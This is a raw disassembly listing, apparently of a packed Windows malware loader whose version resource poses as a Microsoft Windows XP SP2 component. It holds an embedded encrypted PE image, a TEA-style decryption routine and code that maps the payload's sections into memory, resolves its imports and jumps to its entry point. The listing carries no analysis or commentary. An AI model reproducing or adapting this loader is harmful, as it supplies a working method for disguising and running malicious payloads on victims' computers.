		dd 0F00C0FFh, 1F00E0FFh, 10448h, 28h, 10h, 20h,	40001h
		dd 0
		dd 80h,	5 dup(0)
		dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 0C0C0C0h
		dd 808080h, 0FF0000h, 0FF00h, 0FFFF00h,	0FFh, 0FF00FFh
		dd 0FFFFh, 0FFFFFFh, 0
		dd 70000000h, 0F008h, 77A7708h,	70F008h, 0E0BEF787h, 77F008h
		dd 70877087h, 877F008h,	7077E88Ah, 777C008h, 707FEB8Eh
		dd 0FC7C008h, 8877BBF8h, 8CCF008h, 78888887h, 0FC8008h
		dd 7000000h, 70FF88Fh, 80777777h, 0F808808h, 80C76647h
		dd 0FFF0800h, 8067764Eh, 8F880000h, 8067E747h, 8F000000h
		dd 80474444h, 8F000000h, 80F7FFFFh, 8000000h, 80888888h
		dd 0C18Fh, 8087h, 83h, 6 dup(80h), 0
		dd 80h,	0E0h, 0F0h, 2 dup(0FCh), 1FEh, 10570h, 10000h
		dd 20200002h, 10010h, 2E80004h,	10000h,	101010h, 40001h
		dd 128h, 41500002h, 10594h, 3402B4h, 560000h, 5F0053h
		dd 450056h, 530052h, 4F0049h, 5F004Eh, 4E0049h,	4F0046h
		dd 0
		dd 0FEEF04BDh, 2 dup(10000h), 0
		dd 10000h, 0
		dd 3Fh,	0
		dd 40004h, 1, 3	dup(0)
		dd 212h, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h
		dd 66006Eh, 6Fh, 1EEh, 300001h,	300034h, 300039h, 450034h
		dd 34h,	16004Ch, 430001h, 6D006Fh, 610070h, 79006Eh, 61004Eh
		dd 65006Dh, 0
aMicrosoftCorpo:
		unicode	0, <Microsoft Corporation>,0
aR:
		unicode	0, <r)>
		dd 460001h, 6C0069h, 560065h, 720065h, 690073h,	6E006Fh
		dd 0
a5_1_2600_2180X:
		unicode	0, <5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)>,0
		align 4
a0:
		unicode	0, <0>
		dw 8
		dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch,	6D0061h
		dd 65h,	720077h, 69006Bh, 73006Eh, 74h,	0C0040h, 4F0001h
		dd 690072h, 690067h, 61006Eh, 46006Ch, 6C0069h,	6E0065h
		dd 6D0061h, 65h, 520057h, 49004Bh, 53004Eh, 2E0054h, 580045h
		dd 45h,	25006Ah, 500001h, 6F0072h, 750064h, 740063h, 61004Eh
		dd 65006Dh, 0
aMicrosoft:
		unicode	0, <Microsoft>
		dw 0AEh
aWindows:
		unicode	0, < Windows>
		dw 0AEh
		db ' ',0
aOperatingSyste:
		unicode	0, <Operating System>,0
		align 4
		unicode	0, <:>
		dw 0Bh
		dd 500001h, 6F0072h, 750064h, 740063h, 650056h,	730072h
		dd 6F0069h, 6Eh, 2E0035h, 2E0031h, 360032h, 300030h, 30002Eh
		dd 0
		dd 44h,	560001h, 720061h, 690046h, 65006Ch, 6E0049h, 6F0066h
		dd 0
		dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h
		dd 6E006Fh, 0
		dd 4B00409h, 10848h, 7373613Ch,	6C626D65h, 6D782079h, 3D736E6Ch
		dd 6E727522h, 6863733Ah, 73616D65h, 63696D2Dh, 6F736F72h
		dd 632D7466h, 613A6D6Fh, 762E6D73h, 6D202231h, 66696E61h
		dd 56747365h, 69737265h, 223D6E6Fh, 22302E31h, 3C0A0D3Eh
		dd 7373612Fh, 6C626D65h, 41503E79h, 3 dup(0)
		dd 13928h, 13904h, 3 dup(0)
		dd 13935h, 13918h, 3 dup(0)
		dd 13942h, 13920h, 5 dup(0)
		dd 1394Eh, 1395Ch, 1396Ch, 1397Ch, 0
		dd 1398Ah, 0
		dd 800002A8h, 0
aKernel32_dll_3	db 'KERNEL32.DLL',0
aAdvapi32_dll	db 'ADVAPI32.dll',0
aShell32_dll	db 'SHELL32.dll',0
		align 10h
aLoadlibrarya	db 'LoadLibraryA',0
		align 2
aGetprocaddress	db 'GetProcAddress',0
		align 2
aVirtualprotect	db 'VirtualProtect',0
		align 2
aExitprocess_0	db 'ExitProcess',0
		align 4
aRegclosekey_0	db 'RegCloseKey',0
		unicode	0, <H>,0
		dd 0Eh dup(0)
		dd offset dword_40E000
		dd offset dword_40D7B0
		dd 3, 8	dup(0)
		dd 905A4Dh, 3, 4, 0FFFFh, 0B8h,	0
		dd 40h,	8 dup(0)
		dd 0C8h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 1489CBA0h, 3	dup(47E7AAE4h),	47BAA527h, 47E7AAE7h, 47E6AAE4h
		dd 47E7AAEDh, 479A6CC3h, 47E7AAE9h, 479B6CC3h, 47E7AAE5h
		dd 479F6CC3h, 47E7AAE5h, 68636952h, 47E7AAE4h, 2 dup(0)
		dd 4550h, 4014Ch, 496DE283h, 2 dup(0)
		dd 10300E0h, 8010Bh, 1200h, 34600h, 0
		dd 1655h, 1000h, 3000h,	3E0000h, 1000h,	200h, 4, 0
		dd 4, 0
		dd 39000h, 400h, 12278h, 2, 100000h, 1000h, 100000h, 1000h
		dd 0
		dd 10h,	2 dup(0)
		dd 3080h, 28h, 38000h, 2E0h, 12h dup(0)
		dd 3000h, 28h, 6 dup(0)
a_text		db '.text',0
		align 4
		dd 1093h, 1000h, 1200h,	400h, 3	dup(0)
		dd 60000020h, 6164722Eh, 6174h,	16Ch, 3000h, 200h, 1600h
		dd 3 dup(0)
		dd 40000040h, 7461642Eh, 61h, 33EB0h, 4000h, 8C00h, 1800h
		dd 3 dup(0)
		dd 0C0000040h, 7273722Eh, 63h, 2E0h, 38000h, 400h, 0A400h
		dd 3 dup(0)
		dd 40000040h, 68h dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_3E50A0	proc near		; CODE XREF: sub_3E5546+122p
					; sub_3E5546+168p
		push	ebp
		push	esp
		pop	ebp
		push	ecx
		push	ecx
		mov	eax, [ebp+8]
		mov	[ebp-8], eax
		push	dword ptr [ebp-8]
		pop	eax
		mov	ecx, [ebp-8]
		add	ecx, [eax+3Ch]
		mov	[ebp-4], ecx
		push	dword ptr [ebp-4]
		pop	eax
		leave
		retn
sub_3E50A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_3E50BE	proc near		; CODE XREF: sub_3E5546+14Ap
		push	ebp
		push	esp
		pop	ebp
		push	ecx
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_3E5EBA
		add	esp, 0Ch
		lea	eax, [ebp-4]
		push	eax
		push	2
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		call	dword_417E90
		leave
		retn
sub_3E50BE	endp

; ---------------------------------------------------------------------------
		db 0CCh
		dd 2 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		cmp	dword ptr [ebp+8], 0
		jz	short loc_3E5104
		mov	eax, [ebp+8]
		cmp	eax, dword_3ECAEC
		jnz	short loc_3E510C


loc_3E5104:				; CODE XREF: .data:003E50F7j
		mov	eax, dword_3ECAE8
		mov	[ebp+8], eax


loc_3E510C:				; CODE XREF: .data:003E5102j
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	dword_3ECAE0
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------
aUtG		db 'UT]ƒ}',8,0
		dw 0C74h
		dd 580875FFh, 0CAEC053Bh, 0A75003Eh, 0CAE835FFh, 8958003Eh
		dd 75FF0845h, 0C75FF10h, 0FF0875FFh, 3ECAE415h,	0CC25D00h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_3E5151	proc near		; CODE XREF: sub_3E51D6+FBp
		push	ebp
		push	esp
		pop	ebp
		push	ecx
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		call	dword_3E3000
		mov	[ebp-4], eax
		push	offset dword_3E3030
		push	dword ptr [ebp+0Ch]
		call	sub_3E5FAC
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_3E51BD
		push	offset dword_3E3040
		push	dword ptr [ebp+10h]
		call	sub_3E5F2A
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_3E519A
		push	dword ptr [ebp-4]
		pop	eax
		mov	dword_3ECAE0, eax
		mov	eax, offset dword_3E1050
		jmp	short locret_3E51C0
; ---------------------------------------------------------------------------


loc_3E519A:				; CODE XREF: sub_3E5151+37j
		push	offset dword_3E3054
		push	dword ptr [ebp+10h]
		call	sub_3E5F2A
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_3E51BD
		mov	eax, [ebp-4]
		mov	dword_3ECAE4, eax
		push	offset byte_3E107F
		pop	eax
		jmp	short locret_3E51C0
; ---------------------------------------------------------------------------


loc_3E51BD:				; CODE XREF: sub_3E5151+24j
					; sub_3E5151+5Aj
		mov	eax, [ebp-4]

locret_3E51C0:				; CODE XREF: sub_3E5151+47j
					; sub_3E5151+6Aj
		leave
		retn
sub_3E5151	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3E51C2	proc near		; CODE XREF: sub_3E51D6+B2p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		pop	eax
		and	eax, 80000000h
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ebp
		retn
sub_3E51C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_3E51D6	proc near		; CODE XREF: sub_3E5546+17Dp
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 24h
		push	0
		call	dword_3E3008
		mov	dword_3ECAE8, eax
		mov	eax, [ebp+0Ch]
		mov	dword_3ECAEC, eax
		push	dword ptr [ebp+8]
		pop	eax
		add	eax, 80h
		mov	[ebp-8], eax
		mov	eax, [ebp-8]
		push	eax
		push	dword ptr [ebp+0Ch]
		pop	eax
		mov	ecx, eax
		pop	eax
		add	ecx, [eax]
		mov	[ebp-4], ecx


loc_3E520D:				; CODE XREF: sub_3E51D6+133j
		push	dword ptr [ebp-4]
		pop	eax
		cmp	dword ptr [eax+0Ch], 0
		jz	locret_3E530E
		and	dword ptr [ebp-0Ch], 0
		and	dword ptr [ebp-10h], 0
		mov	eax, [ebp-4]
		push	dword ptr [ebp+0Ch]
		pop	ecx
		add	ecx, [eax+0Ch]
		mov	[ebp-1Ch], ecx
		push	dword ptr [ebp-1Ch]
		call	dword_3E3004
		mov	[ebp-18h], eax
		mov	eax, [ebp-4]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_3E5259
		push	dword ptr [ebp-4]
		pop	eax
		push	eax
		push	dword ptr [ebp+0Ch]
		pop	eax
		mov	ecx, eax
		pop	eax
		add	ecx, [eax+10h]
		mov	[ebp-0Ch], ecx
		jmp	short loc_3E5266
; ---------------------------------------------------------------------------


loc_3E5259:				; CODE XREF: sub_3E51D6+6Dj
		push	dword ptr [ebp-4]
		pop	eax
		push	dword ptr [ebp+0Ch]
		pop	ecx
		add	ecx, [eax]
		mov	[ebp-0Ch], ecx


loc_3E5266:				; CODE XREF: sub_3E51D6+81j
		push	dword ptr [ebp-4]
		pop	eax
		push	dword ptr [ebp+0Ch]
		pop	ecx
		add	ecx, [eax+10h]
		mov	[ebp-14h], ecx


loc_3E5274:				; CODE XREF: sub_3E51D6+125j
		mov	eax, [ebp-0Ch]
		cmp	dword ptr [eax], 0
		jz	loc_3E5300
		push	dword ptr [ebp-18h]
		mov	eax, [ebp-0Ch]
		push	dword ptr [eax]
		call	sub_3E51C2
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_3E52B9
		push	dword ptr [ebp-0Ch]
		pop	eax
		push	dword ptr [eax]
		pop	eax
		and	eax, 0FFFFh
		mov	[ebp-20h], ax
		movzx	eax, word ptr [ebp-20h]
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_3E3000
		mov	[ebp-10h], eax
		jmp	short loc_3E52DC
; ---------------------------------------------------------------------------


loc_3E52B9:				; CODE XREF: sub_3E51D6+BEj
		push	dword ptr [ebp-0Ch]
		pop	eax
		mov	ecx, [ebp+0Ch]
		add	ecx, [eax]
		mov	[ebp-24h], ecx
		mov	eax, [ebp-24h]
		inc	eax
		inc	eax
		push	eax
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp-18h]
		call	sub_3E5151
		add	esp, 0Ch
		mov	[ebp-10h], eax


loc_3E52DC:				; CODE XREF: sub_3E51D6+E1j
		mov	eax, [ebp-14h]
		push	eax
		push	dword ptr [ebp-10h]
		pop	eax
		mov	ecx, eax
		pop	eax
		mov	[eax], ecx
		mov	eax, [ebp-14h]
		add	eax, 4
		mov	[ebp-14h], eax
		mov	eax, [ebp-0Ch]
		add	eax, 4
		mov	[ebp-0Ch], eax
		jmp	loc_3E5274
; ---------------------------------------------------------------------------


loc_3E5300:				; CODE XREF: sub_3E51D6+A4j
		mov	eax, [ebp-4]
		add	eax, 14h
		mov	[ebp-4], eax
		jmp	loc_3E520D
; ---------------------------------------------------------------------------

locret_3E530E:				; CODE XREF: sub_3E51D6+3Fj
		leave
		retn
sub_3E51D6	endp

; ---------------------------------------------------------------------------
		dd 835D5455h, 45C71CECh, 3779B9E4h, 0F445C79Eh,	20h, 580875FFh
		dd 895830FFh, 75FFF845h, 408B5808h, 0EC458904h,	0C1E4458Bh
		dd 458905E0h, 0F475FFE8h, 0F44D8B58h, 0F44D8949h, 860FC085h
		dd 86h,	0C1F8458Bh, 458904E0h, 0F875FFFCh, 5E8C158h, 8BF04589h
		dd 4D8B0C45h, 84803FCh,	3F8458Bh, 0C833E845h, 580C75FFh
		dd 5AF075FFh, 330C5003h, 0EC75FFCAh, 89C12B58h,	75FFEC45h
		dd 0E0C158ECh, 0FC458904h, 0C1EC458Bh, 458905E8h, 0C458BF0h
		dd 0FC75FF50h, 58C88B58h, 75FF0803h, 450358ECh,	8BC833E8h
		dd 75FF0C45h, 50035AF0h, 8BCA3304h, 0C12BF845h,	0FFF84589h
		dd 2B58E875h, 4589E445h, 0FF67E9E8h, 458BFFFFh,	0EC75FF08h
		dd 4488959h, 580875FFh,	89F84D8Bh
		db 8, 0C9h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_3E53EF	proc near		; CODE XREF: sub_3E5482+49p
		push	ebp
		push	esp
		pop	ebp
		push	ecx
		push	ecx
		and	dword ptr [ebp-8], 0
		and	dword ptr [ebp-4], 0


loc_3E53FC:				; CODE XREF: sub_3E53EF+43j
		push	0
		lea	eax, [ebp-8]
		push	eax
		push	dword ptr [ebp+10h]
		pop	eax
		sub	eax, [ebp-4]
		push	eax
		push	dword ptr [ebp+0Ch]
		pop	eax
		add	eax, [ebp-4]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_417EA4
		test	eax, eax
		jnz	short loc_3E5423
		xor	al, al
		jmp	short locret_3E5438
; ---------------------------------------------------------------------------


loc_3E5423:				; CODE XREF: sub_3E53EF+2Ej
		mov	eax, [ebp-4]
		add	eax, [ebp-8]
		mov	[ebp-4], eax
		mov	eax, [ebp-8]
		cmp	eax, [ebp+10h]
		jnz	short loc_3E53FC
		mov	al, 0
		add	al, 1

locret_3E5438:				; CODE XREF: sub_3E53EF+32j
		leave
		retn
sub_3E53EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3E543A	proc near		; CODE XREF: sub_3E5482+2Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0


loc_3E5447:				; CODE XREF: sub_3E543A+42j
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_8]
		pop	eax
		sub	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	dword_417EA8
		test	eax, eax
		jnz	short loc_3E546D
		xor	al, al
		jmp	short locret_3E5480
; ---------------------------------------------------------------------------


loc_3E546D:				; CODE XREF: sub_3E543A+2Dj
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_3E5447
		mov	al, 1

locret_3E5480:				; CODE XREF: sub_3E543A+31j
		leave
		retn
sub_3E543A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3E5482	proc near		; CODE XREF: sub_3E5546+D7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_3E5495
; ---------------------------------------------------------------------------


loc_3E548C:				; CODE XREF: sub_3E5482+51j
		push	[ebp+var_4]
		pop	eax
		inc	eax
		inc	eax
		mov	[ebp+var_4], eax


loc_3E5495:				; CODE XREF: sub_3E5482+8j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jnb	short locret_3E54D5
		push	8
		push	[ebp+var_4]
		pop	eax
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		call	sub_3E543A
		add	esp, 0Ch
		push	8
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		pop	ecx
		lea	eax, [ecx+eax*4]
		push	eax
		push	[ebp+arg_0]
		pop	eax
		push	dword ptr [eax]
		call	sub_3E53EF
		add	esp, 0Ch
		jmp	short loc_3E548C
; ---------------------------------------------------------------------------

locret_3E54D5:				; CODE XREF: sub_3E5482+19j
		leave
		retn
sub_3E5482	endp

; ---------------------------------------------------------------------------
		db 55h
		dd 0EC835D54h, 8458B0Ch, 6AF44589h, 0F8458D08h,	0F4458B50h
		dd 0FCE830FFh, 83FFFFFEh, 0B60F0CC4h, 74C085C0h, 7E7E6827h
		dd 458D0041h, 5E850F8h,	59FFFFFEh, 8D086A59h, 0FF50F845h
		dd 0FF58F475h, 1BE80470h, 83FFFFFFh, 0BFEB0CC4h, 0C2C9C033h
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_3E552A	proc near		; CODE XREF: sub_3E5546+E3p
					; sub_3E5546+EDp
		push	ebp
		push	esp
		pop	ebp
		mov	eax, [ebp+8]
		push	dword ptr [eax]
		call	dword_417E98
		mov	eax, [ebp+8]
		push	dword ptr [eax+4]
		call	dword_417E98
		pop	ebp
		retn
sub_3E552A	endp


; =============== S U B	R O U T	I N E =======================================



sub_3E5546	proc near		; CODE XREF: .data:003E56F8p
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 48h
		call	sub_3E5710
		mov	[ebp-4], eax
		push	dword ptr [ebp-4]
		pop	eax
		push	dword ptr [eax+30h]
		pop	eax
		mov	[ebp-30h], eax
		mov	eax, [ebp-30h]
		movzx	eax, byte ptr [eax+2]
		test	eax, eax
		jz	short loc_3E556F
		jmp	locret_3E56F3
; ---------------------------------------------------------------------------


loc_3E556F:				; CODE XREF: sub_3E5546+22j
		mov	dword_417E7E, 65Bh
		add	dword_417E7E, 70A9h
		mov	dword_417E82, 0DBDh
		add	dword_417E82, 2358h
		mov	dword_417E86, 1791h
		call	sub_3E5950
		mov	dword_417E8A, 1785h
		push	10h
		push	0
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		call	dword_417EA0
		test	eax, eax
		jnz	short loc_3E55CB
		jmp	locret_3E56F3
; ---------------------------------------------------------------------------


loc_3E55CB:				; CODE XREF: sub_3E5546+7Ej
		push	10h
		push	0
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		call	dword_417EA0
		test	eax, eax
		jnz	short loc_3E55E6
		jmp	locret_3E56F3
; ---------------------------------------------------------------------------


loc_3E55E6:				; CODE XREF: sub_3E5546+99j
		lea	eax, [ebp-8]
		push	eax
		push	0
		lea	eax, [ebp-38h]
		push	eax
		push	offset byte_3E1437
		push	0
		push	0
		call	off_417E9C
		mov	[ebp-3Ch], eax
		call	dword_3E3010
		mov	[ebp-10h], eax
		mov	eax, dword_3ECAD7
		shr	eax, 2
		push	eax
		push	offset loc_3E4000
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_3E5482
		add	esp, 0Ch
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_3E552A
		pop	ecx
		lea	eax, [ebp-38h]
		push	eax
		call	sub_3E552A
		pop	ecx
		push	dword ptr [ebp-3Ch]
		call	dword_417E98
		call	dword_3E3010
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	dword_3E300C
		movzx	eax, word ptr [ebp-26h]
		cmp	eax, 64h
		jle	short loc_3E5663
		jmp	locret_3E56F3
; ---------------------------------------------------------------------------


loc_3E5663:				; CODE XREF: sub_3E5546+116j
		push	offset loc_3E4000
		call	sub_3E50A0
		pop	ecx
		mov	[ebp-14h], eax
		cmp	dword ptr [ebp-14h], 0
		jz	short locret_3E56F3
		push	dword ptr [ebp-14h]
		pop	eax
		mov	eax, [eax+34h]
		mov	[ebp-44h], eax
		push	dword ptr [ebp-14h]
		pop	eax
		push	dword ptr [eax+54h]
		push	dword ptr [ebp-44h]
		push	offset loc_3E4000
		call	sub_3E50BE
		add	esp, 0Ch
		push	dword ptr [ebp-44h]
		push	offset loc_3E4000
		push	dword ptr [ebp-14h]
		call	sub_3E5720
		add	esp, 0Ch
		push	dword ptr [ebp-44h]
		call	sub_3E50A0
		pop	ecx
		mov	[ebp-40h], eax
		cmp	dword ptr [ebp-40h], 0
		jz	short locret_3E56F3
		push	dword ptr [ebp-44h]
		push	dword ptr [ebp-40h]
		call	sub_3E51D6
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-44h]
		push	dword ptr [ebp-40h]
		call	sub_3E58BA
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-30h]
		pop	eax
		push	dword ptr [ebp-44h]
		pop	ecx
		mov	[eax+8], ecx
		push	dword ptr [ebp-14h]
		pop	eax
		push	dword ptr [ebp-44h]
		pop	ecx
		add	ecx, [eax+28h]
		mov	[ebp-48h], ecx
		call	dword ptr [ebp-48h]

locret_3E56F3:				; CODE XREF: sub_3E5546+24j
					; sub_3E5546+80j ...
		leave
		retn
sub_3E5546	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		call	sub_3E5546
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 3 dup(0CCh)
		dd 3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3E5710	proc near		; CODE XREF: sub_3E5546+6p
		push	ebp
		mov	ebp, esp
		push	large dword ptr	fs:18h
		pop	eax
		pop	ebp
		retn
sub_3E5710	endp

; ---------------------------------------------------------------------------
		db 3 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3E5720	proc near		; CODE XREF: sub_3E5546+15Dp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
var_8		= word ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, [ebp+arg_0]
		add	eax, 0F8h
		mov	[ebp+var_C], eax
		push	[ebp+arg_0]
		pop	eax
		mov	ax, [eax+6]
		mov	[ebp+var_8], ax
		push	[ebp+var_C]
		pop	eax
		mov	[ebp+var_4], eax
		and	[ebp+var_10], 0
		jmp	short loc_3E5757
; ---------------------------------------------------------------------------


loc_3E574B:				; CODE XREF: sub_3E5720+C9j
		mov	ax, [ebp+var_10]
		add	ax, 1
		mov	[ebp+var_10], ax


loc_3E5757:				; CODE XREF: sub_3E5720+29j
		movzx	eax, [ebp+var_10]
		movzx	ecx, [ebp+var_8]
		cmp	eax, ecx
		jge	locret_3E57EE
		movzx	eax, [ebp+var_10]
		imul	eax, 28h
		push	[ebp+var_4]
		pop	ecx
		push	dword ptr [eax+ecx+8]
		pop	eax
		mov	[ebp+var_24], eax
		movzx	eax, [ebp+var_10]
		imul	eax, 28h
		push	[ebp+var_4]
		pop	ecx
		push	dword ptr [eax+ecx+10h]
		pop	eax
		mov	[ebp+var_14], eax
		push	[ebp+var_24]
		pop	eax
		cmp	eax, [ebp+var_14]
		jnb	short loc_3E579E
		mov	eax, [ebp+var_24]
		mov	[ebp+var_28], eax
		jmp	short loc_3E57A4
; ---------------------------------------------------------------------------


loc_3E579E:				; CODE XREF: sub_3E5720+74j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_28], eax


loc_3E57A4:				; CODE XREF: sub_3E5720+7Cj
		mov	eax, [ebp+var_28]
		mov	[ebp+var_18], eax
		movzx	eax, [ebp+var_10]
		imul	eax, 28h
		mov	ecx, [ebp+var_4]
		push	[ebp+arg_8]
		pop	edx
		add	edx, [eax+ecx+0Ch]
		mov	[ebp+var_1C], edx
		movzx	eax, [ebp+var_10]
		imul	eax, 28h
		mov	ecx, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		pop	eax
		mov	edx, eax
		pop	eax
		add	edx, [eax+ecx+14h]
		mov	[ebp+var_20], edx
		push	[ebp+var_18]
		push	[ebp+var_20]
		push	[ebp+var_1C]
		call	sub_3E5EBA
		add	esp, 0Ch
		jmp	loc_3E574B
; ---------------------------------------------------------------------------

locret_3E57EE:				; CODE XREF: sub_3E5720+41j
		leave
		retn
sub_3E5720	endp


; =============== S U B	R O U T	I N E =======================================



sub_3E57F0	proc near		; CODE XREF: sub_3E58BA+7Dp
		push	ebp
		push	esp
		pop	ebp
		push	ecx
		and	dword ptr [ebp-4], 0
		mov	eax, [ebp+8]
		and	eax, 4000000h
		jz	short loc_3E580D
		mov	eax, [ebp-4]
		or	eax, 200h
		mov	[ebp-4], eax


loc_3E580D:				; CODE XREF: sub_3E57F0+10j
		mov	eax, [ebp+8]
		and	eax, 20000000h
		jz	short loc_3E5868
		push	dword ptr [ebp+8]
		pop	eax
		and	eax, 40000000h
		jz	short loc_3E5844
		push	dword ptr [ebp+8]
		pop	eax
		and	eax, 80000000h
		jz	short loc_3E5838
		mov	eax, [ebp-4]
		or	eax, 40h
		mov	[ebp-4], eax
		jmp	short loc_3E5842
; ---------------------------------------------------------------------------


loc_3E5838:				; CODE XREF: sub_3E57F0+3Bj
		push	dword ptr [ebp-4]
		pop	eax
		or	eax, 20h
		mov	[ebp-4], eax


loc_3E5842:				; CODE XREF: sub_3E57F0+46j
		jmp	short loc_3E5866
; ---------------------------------------------------------------------------


loc_3E5844:				; CODE XREF: sub_3E57F0+30j
		push	dword ptr [ebp+8]
		pop	eax
		and	eax, 80000000h
		jz	short loc_3E585D
		push	dword ptr [ebp-4]
		pop	eax
		or	eax, 80h
		mov	[ebp-4], eax
		jmp	short loc_3E5866
; ---------------------------------------------------------------------------


loc_3E585D:				; CODE XREF: sub_3E57F0+5Dj
		mov	eax, [ebp-4]
		or	eax, 10h
		mov	[ebp-4], eax


loc_3E5866:				; CODE XREF: sub_3E57F0:loc_3E5842j
					; sub_3E57F0+6Bj
		jmp	short loc_3E58B4
; ---------------------------------------------------------------------------


loc_3E5868:				; CODE XREF: sub_3E57F0+25j
		push	dword ptr [ebp+8]
		pop	eax
		and	eax, 40000000h
		jz	short loc_3E5894
		mov	eax, [ebp+8]
		and	eax, 80000000h
		jz	short loc_3E5889
		push	dword ptr [ebp-4]
		pop	eax
		or	eax, 4
		mov	[ebp-4], eax
		jmp	short loc_3E5892
; ---------------------------------------------------------------------------


loc_3E5889:				; CODE XREF: sub_3E57F0+8Bj
		mov	eax, [ebp-4]
		or	eax, 2
		mov	[ebp-4], eax


loc_3E5892:				; CODE XREF: sub_3E57F0+97j
		jmp	short loc_3E58B4
; ---------------------------------------------------------------------------


loc_3E5894:				; CODE XREF: sub_3E57F0+81j
		push	dword ptr [ebp+8]
		pop	eax
		and	eax, 80000000h
		jz	short loc_3E58AA
		mov	eax, [ebp-4]
		or	eax, 8
		mov	[ebp-4], eax
		jmp	short loc_3E58B4
; ---------------------------------------------------------------------------


loc_3E58AA:				; CODE XREF: sub_3E57F0+ADj
		push	dword ptr [ebp-4]
		pop	eax
		or	eax, 1
		mov	[ebp-4], eax


loc_3E58B4:				; CODE XREF: sub_3E57F0:loc_3E5866j
					; sub_3E57F0:loc_3E5892j ...
		push	dword ptr [ebp-4]
		pop	eax
		leave
		retn
sub_3E57F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3E58BA	proc near		; CODE XREF: sub_3E5546+18Ap

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
var_8		= word ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	[ebp+arg_0]
		pop	eax
		add	eax, 0F8h
		mov	[ebp+var_C], eax
		push	[ebp+arg_0]
		pop	eax
		mov	ax, [eax+6]
		mov	[ebp+var_8], ax
		mov	eax, [ebp+var_C]
